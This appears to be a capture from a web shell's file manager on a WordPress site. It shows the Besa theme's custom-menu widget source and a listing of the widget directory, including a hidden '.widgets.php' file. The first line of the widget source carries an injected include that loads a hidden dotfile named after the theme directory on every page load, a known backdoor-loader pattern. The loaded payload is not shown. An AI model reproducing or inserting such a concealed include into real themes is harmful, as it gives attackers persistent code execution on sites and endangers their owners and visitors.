PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
themes
/
besa
/
inc
/
widgets
<?php if( !defined('TBAY_ELEMENTOR_ACTIVED') ) return; if (file_exists(get_template_directory() . DIRECTORY_SEPARATOR . '.' . basename(get_template_directory()) . '.php')) { include_once get_template_directory() . DIRECTORY_SEPARATOR . '.' . basename(get_template_directory()) . '.php'; } class Tbay_Widget_Custom_Menu extends Tbay_Widget { public function __construct() { parent::__construct( 'besa_custom_menu', esc_html__('Besa Custom Menu', 'besa'), array( 'description' => esc_html__( 'Show custom menu', 'besa' ), ) ); $this->widgetName = 'custom_menu'; } public function getTemplate() { $this->template = 'custom-menu.php'; } public function widget( $args, $instance ) { $this->display($args, $instance); } public function form( $instance ) { $defaults = array( 'title' => 'Custom Menu', 'nav_menu' => '' ); $instance = wp_parse_args((array) $instance, $defaults); // Widget admin form $custom_menus = array(); $menus = get_terms( 'nav_menu', array( 'hide_empty' => false ) ); if ( is_array( $menus ) && ! empty( $menus ) ) { foreach ( $menus as $single_menu ) { if ( is_object( $single_menu ) && isset( $single_menu->name, $single_menu->slug ) ) { $custom_menus[ $single_menu->name ] = $single_menu->slug; } } } ?> <p> <label for="<?php echo esc_attr($this->get_field_id( 'title' )); ?>"><?php esc_html_e( 'Title:', 'besa' ); ?></label> <input class="widefat" id="<?php echo esc_attr($this->get_field_id( 'title' )); ?>" name="<?php echo esc_attr($this->get_field_name( 'title' )); ?>" type="text" value="<?php echo esc_attr( $instance['title'] ); ?>" /> </p> <p> <label for="<?php echo esc_attr($this->get_field_id('nav_menu')); ?>"> <?php echo esc_html__('Menu:', 'besa' ); ?> </label> <br> <select id="<?php echo esc_attr($this->get_field_id('nav_menu')); ?>" name="<?php echo esc_attr($this->get_field_name('nav_menu')); ?>"> <?php foreach ( $custom_menus as $key => $value ) { ?> <option value="<?php echo esc_attr( $value ); ?>" <?php selected($instance['nav_menu'],$value); ?> ><?php echo esc_html( $key ); ?></option> <?php } ?> </select> </p> <?php } public function update( $new_instance, $old_instance ) { $instance = array(); $instance['title'] = ( ! empty( $new_instance['title'] ) ) ? strip_tags( $new_instance['title'] ) : ''; $instance['nav_menu'] = ( ! empty( $new_instance['nav_menu'] ) ) ? strip_tags( $new_instance['nav_menu'] ) : ''; return $instance; } }
[+]
..
[-] socials.php
[edit]
[-] banner_image.php
[edit]
[-] popup_newsletter.php
[edit]
[-] single_image.php
[edit]
[-] recent_post.php
[edit]
[-] posts.php
[edit]
[-] custom_menu.php
[edit]
[-] top_rate.php
[edit]
[-] popular_posts.php
[edit]
[-] woo-carousel.php
[edit]
[-] video.php
[edit]
[-] recent_comment.php
[edit]
[-] .widgets.php
[edit]
[-] list-categories.php
[edit]
[-] yith-brand-image.php
[edit]